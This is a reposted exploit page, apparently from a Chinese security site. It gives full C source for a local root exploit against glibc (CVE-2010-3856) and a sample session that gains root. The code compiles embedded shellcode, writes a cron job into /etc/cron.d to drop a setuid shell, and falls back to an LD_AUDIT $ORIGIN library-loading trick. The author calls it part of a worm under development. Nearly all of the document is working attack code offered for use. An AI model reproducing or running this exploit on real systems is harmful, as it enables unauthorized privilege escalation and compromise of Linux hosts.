|
GNU C Library local root (uid=0,gid=0) Exploit
|
|
来源：vfocus.net 作者：devilzc0de 发布时间：2010-12-06
|
|
/**
#Exploit Title: GNU C Library local root (uid=0,gid=0) exploit
#date: 04-12-10
#author: devilzc0de
#bugs found by: Tavis Ormandy (taviso@sdf.lonestar.org)
# Tested on: Debian GNU/Linux 5.0
#CVE: 2010-3856
#vulnerable : GNU C library
a basic exploit made by: devilzc0de (www.devilzc0de.org)
special thanks to all devilzc0de crews and members, glodhaxors crews and members
tis is part of my worm (currently making dual os worm for 7 months)
mywisdom@DL:~/sploit$ id
uid=1002(mywisdom) gid=1001(mywisdom) groups=1001(mywisdom)
mywisdom@DL:~/sploit$ ./glibc
GLIBC local privilege escalation exploit
Bugs found by Tavis Ormandy
made by: devilzc0de.org
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
[+]waiting for dropped suid shell from our cron daemon, please wait ...
sh-3.2# id
uid=0(root) gid=0(root) groups=1001(mywisdom)
sh-3.2#
**/
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
void salam()
{
printf("\n\nGLIBC local privilege escalation exploit\n");
printf("\nBugs found by Tavis Ormandy\n");
printf("\nmade by: devilzc0de.org\n\n");
}
void eksplo1()
{
int i;
struct stat bufer;
umask(0);
bikin_payload1();
popen("dpkg -S /lib/libpcprofile.so","r");
if(stat("/lib/libpcprofile.so",&bufer)!=0)
{
eksplo2();
}
else
{
popen("LD_AUDIT='libpcprofile.so' PCPROFILE_OUTPUT='/etc/cron.d/w00t' ping","r");
}
if(stat("/etc/cron.d/w00t",&bufer)!=0)
{
eksplo2();
}
else
{
if(stat("/tmp/suidshell",&bufer)!=0)
{
exit(1);
}
else
{
popen("echo '* * * * * root cp /bin/dash /tmp/gotroot; chmod u+s /tmp/gotroot\n' > /etc/cron.d/w00t", "r");
}
printf("[+]waiting for dropped suid shell from our cron daemon, please wait ...\n");
usleep(60000000);
system("/tmp/./gotroot -c /tmp/./suidshell");
}
}
int bikin_payload1()
{
FILE *fp2;
const char *str2 ="char shellcode[] =\"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x53\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80\";int main(){int (*f)() = (int(*)())shellcode;f();}";
fp2 = fopen("suid.c", "w");
fwrite(str2, 1, strlen(str2), fp2);
fclose(fp2);
popen("gcc -o /tmp/suidshell suid.c","r");
}
int bikin_payload2()
{
FILE *fp;
const char *str ="void __attribute__((constructor)) init(){ setuid(0);system(\"/bin/bash\");}";
fp = fopen("payload.c", "w");
fwrite(str, 1, strlen(str), fp);
fclose(fp);
popen("gcc -w -fPIC -shared -o /tmp/exploit payload.c","r");
}
void il_fil_de()
{
struct stat buf;
if(stat("payload.c",&buf)==0)
{
remove("payload.c");
}
if(stat("suid.c",&buf)==0)
{
remove("suid.c");
}
if(stat("/tmp/exploit",&buf)==0)
{
remove("/tmp/exploit");
}
}
int eksplo2()
{
remove("/tmp/exploit");
popen("mkdir /tmp/exploit;ln /bin/ping /tmp/exploit/target","r");
popen("exec 3< /tmp/exploit/target","r");
remove("/tmp/exploit");
bikin_payload2();
popen("LD_AUDIT=\"\\$ORIGIN\" exec /proc/self/fd/3","r");
}
int main(int argc,char **argv[])
{
struct stat buf;
salam();
il_fil_de();
mkdir("/tmp/exploit",0777);
if(stat("/etc/cron.d",&buf)!=0)
{
eksplo2();
}
else
{
eksplo1();
}
}
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
|
